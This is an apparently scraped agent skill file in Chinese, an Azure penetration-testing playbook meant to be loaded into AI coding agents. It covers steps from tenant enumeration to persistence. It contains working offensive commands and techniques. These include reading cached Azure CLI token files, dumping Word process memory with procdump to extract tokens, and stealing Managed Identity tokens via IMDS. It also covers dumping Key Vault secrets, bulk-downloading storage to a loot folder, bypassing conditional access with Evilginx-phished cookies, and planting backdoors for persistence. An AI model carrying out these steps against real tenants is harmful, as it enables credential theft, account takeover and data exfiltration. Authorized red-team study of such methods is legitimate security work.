skills/cloud/azure-pentesting/SKILL.md
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
npx skillsauth add wgpsec/AboutSecurity azure-pentestingInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Azure 是全球第二大公有云平台,同时深度绑定 Entra ID(原 Azure AD)和 Microsoft 365 生态。其攻击面呈现独特的"三层结构"——Entra ID 身份层(租户、用户、应用注册、Service Principal)、Azure Resource Manager 资源层(订阅、资源组、RBAC)、以及数据层(Blob Storage、Key Vault、SQL Database)。与 AWS 相比,Azure 的核心差异在于:身份系统(Entra ID)与资源管理系统(ARM)是两套独立的授权体系,且 Entra ID 的 Global Administrator 可以通过 elevateAccess 接管所有 Azure 订阅。有时我们可能会通过各种方法获得了一个凭证,但是这个账号可能只能访问M365全家桶比如word,ppt,sharepoint应用,并不一定能访问Azure云subscription资源,需要手动确认。本技能以攻击阶段(Phase)为主线,组织从"零凭据"到"完全控制"的完整渗透路径。
识别到具体攻击阶段后,加载对应参考文档获取完整技术细节:
拿到一个 Azure 相关目标后,首先判断当前手持的资产类型,决定进入哪个攻击阶段:
当前持有什么?
├── 无任何凭据
│ ├── 有目标域名/公司名 → Phase 1(未授权枚举)
│ ├── 有 SSRF 漏洞(Azure VM/App Service/Functions)
│ │ └── 打 IMDS 169.254.169.254 获取 Managed Identity Token → Phase 2(目前这个方法不行了,因为如果想拿IMDS需要Metadata: true请求头,大部分的SSRF只能发 GET,且不能自定义 header,最理想的情况其实是命令执行会比较有可能多点现在)
│ └── 仅知道组织名称 → OSINT + Phase 1
│
├── 有 Azure 用户账号密码
│ ├── 能正常登录 → Phase 2(权限评估)
│ └── 被条件访问策略(CA)阻止 → 绕过 CA 或尝试 Service Principal
│ └── 如果是通过钓鱼比如Evilginx获得账号密码,由于Evilginx会收割目标的Cookie,账号密码,我们可以通过导入cookie绕过CA。这个逻辑很简单,比如你人在中国,但是目标账号经常在新加坡登录,现在突然从新加坡登录IP飞到中国容易收到CA登录阻止。但如果通过Evilginx收割会话,是让目标在这个会话中完成了一整套验证,微软会给该cookie打上验证完成无安全问题,因此我们如果导入该cookie可以绕过CA限制。
│
├── 有 Service Principal 凭据(Client ID + Client Secret / 证书 / Certificate Private Key (.pfx/.pem/.key))
│ └── → Phase 2(注意:SP 通常不受 MFA/CA 限制)
│
├── 有 Access Token / Refresh Token
│ ├── Access Token → 直接使用(有效期通常 1 小时)
│ └── Refresh Token → 刷新获取新 Access Token → Phase 2
│
├── 在 Azure VM / App Service / Functions 内部
│ └── 查询 IMDS 获取 Managed Identity Token → Phase 2
│
└── 有开发者工作站访问权限
└── 检查 ~/.Azure/ 目录获取缓存凭据 → Phase 2
| 凭据类型 | 识别特征 | 有效期 | 获取方式 | |---|---|---|---| | 用户账号密码 | [email protected] | 永久(直到修改需要二次确认是否有云的访问资格) | 泄露/钓鱼/密码喷洒 | | Service Principal Secret | Client ID (GUID) + Secret (随机字符串) | 可配置(默认 2 年) | 应用注册/泄露 | | Service Principal 证书 | Client ID + PFX/PEM 证书 | 证书有效期 | 应用注册/泄露 | | Access Token | eyJ0eXAi... (JWT 格式) | 通常 1 小时 | 认证流/IMDS/缓存 | | Refresh Token | 0.ARMA... 格式 | 最长 90 天(滑动窗口) | 缓存文件/令牌窃取 | | Managed Identity Token | 通过 IMDS 获取的 JWT | 24 小时(自动轮换) | VM/App Service 内部 | | SAS Token | URL 中 sig=... 参数 | 可配置 | Storage Account 生成 |
在已入侵的开发者机器中,检查以下路径获取 Azure 凭据:
# az CLI 缓存(Linux/macOS 明文存储)
cat ~/.Azure/azureProfile.json # 登录用户信息
cat ~/.Azure/msal_token_cache.json # Access Token + Refresh Token
cat ~/.Azure/service_principal_entries.json # SP 凭据(仅 Linux/macOS)
# Az PowerShell 缓存
pwsh -Command "Save-AzContext -Path /tmp/az-context.json"
# Windows DPAPI 加密(需解密)
# C:\Users\<user>\.Azure\service_principal_entries.bin
# C:\Users\<user>\.Azure\msal_token_cache.bin
# C:\Users\<user>\AppData\Local\Microsoft\IdentityCache\*.bin
# C:\Users\<user>\AppData\Local\Microsoft\TokenBroker\Cache\*.tbres
#还有另外一种方法,有点类似与取证技巧,先观察是微软全家桶比如word是否在运行,在用户登录后,会代表用户去访问云服务,比如 Microsoft Graph 或 Outlook 相关接口(如 outlook.office365.com)。为了避免每次都重新登录,这些访问用到的 access token 会被缓存到本地,路径就是 %LOCALAPPDATA%\Microsoft\TokenBroker\Cache。也就是说,只要用户在这台机器上用过 Office 登录过 365,你其实有机会“捡现成的 token”,但注意前提是你有admin权限
Get-Process -IncludeUserName | Format-Table -AutoSize -Wrap
#如果发现word在运行用procdump去导一下
procdump.exe -mp id -accepteula
#然后再用string去分析.dmp文件是否包含token特征比如eyJ0ex.....
strings.exe WINWORD.EXE_260425_074224.dmp -accepteula | findstr /i eyJ0eX
在没有任何 Azure 凭据的情况下,仍可对目标 Tenant 进行大量信息收集。Azure 的公开 API 和子域名结构提供了丰富的枚举面。
| 目标 | 攻击方式 | 价值 | |---|---|---| | Tenant 信息 | login.microsoftonline.com 公开 API | Tenant ID、域名、SSO 配置 | | 用户枚举 | AADInternals / o365spray | 有效账号列表 → 密码喷洒 | | 子域名 | MicroBurst 枚举 20+ Azure 子域 | 发现暴露的服务端点 | | Blob Storage | 公开容器枚举 | 数据泄露、凭据文件 | | App Service | azurewebsites.net 端点 | Web 漏洞利用 → Managed Identity | | Azure Functions | 公开 HTTP 触发器 | 代码注入/SSRF → Managed Identity | | Azure DevOps | dev.azure.com 公开项目 | 代码泄露、Pipeline 凭据 |
# 使用 AADInternals 获取 Tenant 全貌
Install-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName target.com | Format-Table
# 获取 Tenant ID
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" | jq '.token_endpoint' | grep -oP '[a-f0-9-]{36}'
# 枚举 Tenant 下所有域名
Get-AADIntTenantDomains -Domain target.com
# 检查用户是否存在
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
# MicroBurst 子域枚举(覆盖 20+ Azure 域后缀)
Import-Module MicroBurst
Invoke-EnumerateAzureSubDomains -Base targetcorp -Verbose
# Blob 公开容器枚举
Invoke-EnumerateAzureBlobs -Base targetcorp
# 手动检查 Blob 容器
curl -s "https://targetcorp.blob.core.windows.net/backup?restype=container&comp=list"
→ 完整的未授权枚举技术清单,读 references/unauthenticated-enum.md
获取凭据后,第一步是验证有效性并评估权限范围。Azure 存在 Entra ID 和 ARM 两套独立授权体系,需分别枚举。
# az CLI — 确认当前身份
az account show # 当前订阅和租户
az ad signed-in-user show # 当前 Entra ID 用户信息
# 列出可访问的所有订阅
az account list --output table
#列出当前能访问的资源
Get-AzResource
#获得当前被分配的角色
Get-AzRoleAssignment
# Az PowerShell
Get-AzContext # 当前上下文
Get-AzSubscription # 可访问的订阅
# 如果是 Service Principal
az login --service-principal -u CLIENT_ID -p SECRET --tenant TENANT_ID
# ARM 层:查看当前用户在订阅上的角色
az role assignment list --assignee "USER_OBJECT_ID" --all --output table
# ARM 层:查看对特定资源的权限
az rest --method GET \
--url "https://management.azure.com/{resource_id}/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"
# ARM 层:枚举可见资源
az resource list --output table
# 或
Get-AzResource
# 查看某个角色的定义,如果遇到自定义角色
az role definition list --name "ROLE_NAME"
# 列出所有 Key Vault 实例
az keyvault list
# 列出指定 Key Vault 中的所有 Secret 名称
az keyvault secret list --vault-name VAULT_NAME
# 读取指定 Secret 的值
az keyvault secret show --id https://VAULT_NAME.vault.azure.net/secrets/SECRET_NAME
# 列出当前订阅下所有虚拟机
az vm list
# 获取指定虚拟机的公网和私网 IP 地址
az vm list-ip-addresses -g RESOURCE_GROUP -n VM_NAME
# 远程在目标 VM 上执行 Shell 命令。需要 VM RunCommand 权限
az vm run-command invoke -g RESOURCE_GROUP -n VM_NAME \
--command-id RunShellScript \
--scripts "whoami"
# PowerShell 版本远程执行命令
Invoke-AzVMRunCommand -VMName vm -ResourceGroupName rg -CommandId RunShellScript -ScriptString "whoami"
# 列出当前订阅中的所有 Storage Account
Get-AzStorageAccount
#列出指定存储账户中的容器
Get-AzStorageContainer -Context $storageAccount.Context
#列出容器中的 Blob 文件
Get-AzStorageBlob -Container “xx” -Context $storageAccount.Context
#列出所有 Automation Account
az automation account list
#列出 Automation Account 中的所有 Runbook
Get-AzAutomationRunbook -ResourceGroupName RG -AutomationAccountName AA
#执行指定 Runbook。 若绑定高权限身份可实现提权
Start-AzAutomationRunbook
#列出订阅中的公网 IP 资源
az network public-ip list
#列出所有网络安全组
az network nsg list
#查看指定 NSG 的规则详情
Get-AzNetworkSecurityGroup -Name xx
#获取ADO token 如果是用户名密码凭证 这里的499bxx就是dev ops id
ADO_TOKEN=$(az account get-access-token --resource 499b84ac-1321-427f-aa17-267ca6975798 --query accessToken -o tsv)
#枚举项目
curl -s -H "Authorization: Bearer $ADO_TOKEN" "https://dev.azure.com/<组织名>/_apis/projects?api-version=7.0"
#读取repo
curl -s -H "Authorization: Bearer $ADO_TOKEN" "https://dev.azure.com/<组织名>/<项目>/_apis/git/repositories?api-version=7.0"
#读取特定repo里面内容
curl -s -H "Authorization: Bearer $ADO_TOKEN" \
"https://dev.azure.com/<组织名>/<repo 名>/_apis/git/repositories?api-version=7.0"
#用ado token作为密码克隆项目代码到本地
git clone https://用户名%40域名.com:[email protected]/<组织名>/<repo 名>/_git/<repo 名>
# Entra ID 层:枚举目录角色
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/me/memberOf" | jq '.value[].displayName'
# 自动化权限发现
# Find_My_Az_Management_Permissions — 自动枚举所有资源权限
python3 Find_My_Az_Management_Permissions.py
当前身份权限如何?
├── Entra ID Global Administrator
│ ├── 已可管理所有 Entra ID 资源
│ └── 通过 elevateAccess 接管所有 Azure 订阅 → Phase 4
│
├── 有特定 Entra ID 角色(Application Admin/Cloud App Admin/...)
│ └── 检查是否可操控应用注册/Service Principal → Phase 3 (Entra 提权)
│
├── 有 Azure Owner/Contributor 角色
│ ├── 在特定订阅/资源组范围 → 直接操作资源 → Phase 4
│ └── 尝试横向到其他订阅 → Phase 3
│
├── 有特定服务权限(如 Microsoft.Compute/virtualMachines/*)
│ ├── 检查是否可操控 Managed Identity → Phase 3
│ └── 直接利用当前权限进行后渗透 → Phase 4
│
└── 权限极低 → 尝试利用默认 Entra ID 读权限枚举所有用户/组/应用
└── 寻找提权路径 → Phase 3
参考 cloud-iam-audit 技能,进行跨云 IAM 审计
| 工具 | 用途 | 命令 |
|---|---|---|
| AzureHound | Azure 攻击路径图谱(BloodHound 生态) | azurehound list -t TENANT_ID --refresh-token RT |
| ROADtools | Entra ID 全量枚举与分析 | roadrecon auth -u USER -p PASS && roadrecon gather && roadrecon gui |
| ScoutSuite | 多云安全审计报告 | scout azure --cli |
| Prowler | Azure 安全最佳实践检查 | prowler azure |
| MicroBurst | Azure 枚举与攻击工具集 | Import-Module MicroBurst |
| PowerZure | Azure 利用框架 | Import-Module PowerZure |
| AADInternals | Entra ID 深度利用 | Install-Module AADInternals |
| GraphRunner | Microsoft Graph API 利用 | Import-Module GraphRunner |
Azure 提权发生在两个层面:Entra ID 身份层提权和 ARM 资源层提权。两者相互独立但可互相转化——Entra ID Global Admin 可通过 elevateAccess 获取 ARM Owner,反之 ARM 层某些权限可操控 Entra ID 对象。
参考 azure-ad-attack 技能,获取 Entra ID 提权与攻击深度指南
核心提权路径:
| 提权路径 | 关键角色/权限 | 原理 | |---|---|---| | 应用注册密钥注入 | Application Admin / Cloud App Admin | 给高权限应用添加新 Secret/证书,以 SP 身份登录 | | 条件访问策略绕过 | — | SP 登录通常不受 CA 限制,IP/地理限制可绕过 | | 目录角色滥用 | Privileged Role Admin | 给自己分配 Global Admin 角色 | | 动态组滥用 | — | 修改用户属性匹配动态组规则,继承组的角色分配 | | 管理单元逃逸 | Helpdesk Admin 在受限 AU 外 | 重置不受 AU 保护的管理员密码 | | Consent Grant 攻击 | 应用同意权限 | 诱导管理员同意高权限 OAuth 应用 |
| 提权路径 | 关键 ARM 权限 | 原理 |
|---|---|---|
| 角色分配写入 | Microsoft.Authorization/roleAssignments/write | 给自己分配 Owner 角色 |
| 角色定义修改 | Microsoft.Authorization/roleDefinitions/Write | 修改已分配角色的 Actions 为 * |
| elevateAccess | Global Admin + elevateAccess/action | GA 提升为根范围 User Access Admin |
| Managed Identity 绑定 | 服务写权限 + ManagedIdentity/assign/action | 将高权限 MI 绑定到可控资源 |
| Automation Runbook | Automation/automationAccounts/jobs/write | 通过 Runbook 执行代码获取 MI Token |
| VM 命令执行 | Compute/virtualMachines/extensions/write | CustomScript Extension 在 VM 中执行命令 |
| Function App 代码覆盖 | Storage 写权限(File Share/Blob) | 修改函数代码获取绑定的 MI Token |
| App Service SSH | Web/sites/publish/Action | SSH 进入 App Service 获取环境变量和 MI |
| Key Vault 策略修改 | KeyVault/vaults/write | 修改访问策略获取 Secret/Key/Cert |
| Logic App 后门 | Logic/workflows/write | 利用 MI 执行任意 Azure API 操作 |
Managed Identity 是 Azure 提权中最关键的枢纽(类似 AWS 的 PassRole)。如果攻击者可以在绑定了高权限 MI 的资源中执行代码,就能获取该 MI 的 Token:
攻击者拥有: Automation Account 写权限 + 目标 MI 绑定在该 Account
│
├─ 1. 创建/修改 Runbook,代码中请求 MI Token
│ $token = (Invoke-WebRequest -Uri "$env:IDENTITY_ENDPOINT?resource=https://management.azure.com/" \
│ -Headers @{X-IDENTITY-HEADER=$env:IDENTITY_HEADER}).Content
├─ 2. 执行 Runbook
└─ 3. 获取高权限 MI Token → 接管目标资源
# VM 内部获取 Managed Identity Token(通过 IMDS)
curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# App Service / Functions 内部获取 MI Token
curl -s -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" \
"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01"
Azure 环境中的横向移动发生在三个维度:
跨订阅移动:
跨服务移动:
Cloud-to-OnPrem 移动:
参考 azure-hybrid-lateral 技能,获取 Cloud-to-OnPrem 横向移动深度指南
获得较高权限后,进入后渗透阶段。
优先搜索哪些数据源?
├── Key Vault → 密码、证书、API 密钥、连接字符串
├── Blob Storage → 文档、备份、日志、配置文件
├── SQL Database / Cosmos DB → 业务数据
├── App Service / Functions 环境变量 → 数据库连接串、第三方 API 密钥
├── Automation Account 变量/凭据 → 加密变量、存储的凭据
└── Azure DevOps → 代码仓库、Pipeline 密钥、Variable Groups
# 列出 Key Vault 密钥
az keyvault list --output table
az keyvault secret list --vault-name VAULT_NAME --output table
az keyvault secret show --vault-name VAULT_NAME --name SECRET_NAME
# 列出 Storage Account 并下载敏感文件
az storage account list --output table
az storage account keys list --account-name ACCOUNT_NAME
az storage blob download-batch -d ./loot -s CONTAINER --account-name ACCOUNT_NAME
# 获取 App Service 环境变量(含数据库连接串等)
az webapp config appsettings list --name APP_NAME --resource-group RG
# 获取 Automation Account 变量
az automation variable list --automation-account-name ACCT --resource-group RG
| 服务 | 持久化方法 | 隐蔽性 | |---|---|---| | Entra ID 应用注册 | 添加 Secret/证书到高权限应用、创建新 OAuth 应用 | 中 | | Service Principal | 创建 Federated Identity Credential(信任外部 IdP) | 高 | | Federation | 添加可信域 + 伪造 Token(Golden SAML 变种) | 高 | | Automation Account | Runbook 后门 + Schedule/Webhook 定时触发 | 中 | | VM | Custom Script Extension、User Data 后门、SSH Key 注入 | 中 | | Cloud Shell | .bashrc / PS Profile 后门(持久存储) | 高 | | Key Vault | 修改访问策略保留访问、提取密钥后外部使用 | 中 | | Storage Account | 生成长期 SAS Token、保存 Access Key | 高 | | Logic App | 后门 Workflow + SAS URL 触发 | 高 | | SQL Database | 创建后门 SQL 用户、防火墙规则 | 中 | | Azure DevOps | PAT 创建、Pipeline 注入、Service Connection 后门 | 高 |
→ 完整的 12+ 服务持久化技术清单,读 references/persistence-techniques.md
# 身份与权限
az account show # 当前上下文
az account list --output table # 所有可访问订阅
az ad signed-in-user show # 当前用户
az role assignment list --assignee "ID" --all # 角色分配
# 枚举资源
az resource list --output table # 所有可见资源
az vm list --output table # VM 列表
az webapp list --output table # App Service 列表
az functionapp list --output table # Function App 列表
az keyvault list --output table # Key Vault 列表
az storage account list --output table # Storage Account 列表
# 凭据操作
az login --service-principal -u CID -p SECRET --tenant TID # SP 登录
az account get-access-token --resource https://management.azure.com/ # 获取 Token
#PS登录方式
$passwd = ConvertTo-SecureString "<密码>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("邮箱", $passwd)
Connect-AzAccount -Credential $creds
#获得token并连接MgGraph:
$Token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token
Connect-MgGraph -AccessToken ($Token | ConvertTo-SecureString -AsPlainText -Force)
# IMDS(从 VM 内部)
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq .
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
| Azure 概念 | AWS 等价物 | 说明 | |---|---|---| | Entra ID (Azure AD) | IAM + Organizations | 身份管理,但 Azure 独立于资源管理 | | Tenant | Account (root) | 最顶层身份容器 | | Subscription | Account (member) | 计费与资源隔离单元 | | Resource Group | — (无直接等价) | 资源逻辑分组 | | Management Group | Organizational Unit (OU) | 层级管理结构 | | RBAC Role | IAM Policy | 权限控制 | | Service Principal | IAM Role (for service) | 服务身份 | | Managed Identity | EC2 Instance Profile / Lambda Role | 自动凭据管理 | | Key Vault | Secrets Manager + KMS | 密钥与凭据管理 | | App Service | Elastic Beanstalk / App Runner | 托管 Web 应用 | | Azure Functions | Lambda | 无服务器计算 | | Blob Storage | S3 | 对象存储 |
Azure Activity Log 审计感知: 所有 ARM 管理平面操作都会被 Activity Log 记录(保留 90 天)。以下操作高可见性:
Entra ID 的 Sign-in Log 和 Audit Log 记录所有身份认证事件和目录变更。
Microsoft Defender for Cloud 检测风险:
Microsoft Sentinel 高级检测: 如果目标启用了 Sentinel SIEM,自定义分析规则可能检测到:
速率限制: Azure Resource Manager 对每个订阅有请求限制(读 12000/小时,写 1200/小时)。Graph API 也有类似限制。大规模枚举时需注意节流。
参考 azure-ad-attack 技能,获取 Entra ID 攻击与提权深度指南
参考 azure-hybrid-lateral 技能,获取 Cloud-to-OnPrem 横向移动方法论
参考 cloud-iam-audit 技能,进行跨云 IAM 审计与策略分析
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能
tools
Nuclei 漏洞扫描工具使用方法论。当需要对目标进行已知漏洞扫描、CVE 验证、批量 PoC 检测时使用。Nuclei 拥有社区维护的 9000+ 模板,覆盖 CVE、默认口令、配置错误、信息泄露等。任何涉及 nuclei 扫描、CVE 批量验证、PoC 检测、漏洞模板搜索的场景都应使用此技能。也适用于需要从 nuclei 模板中提取 payload 用于手动利用的场景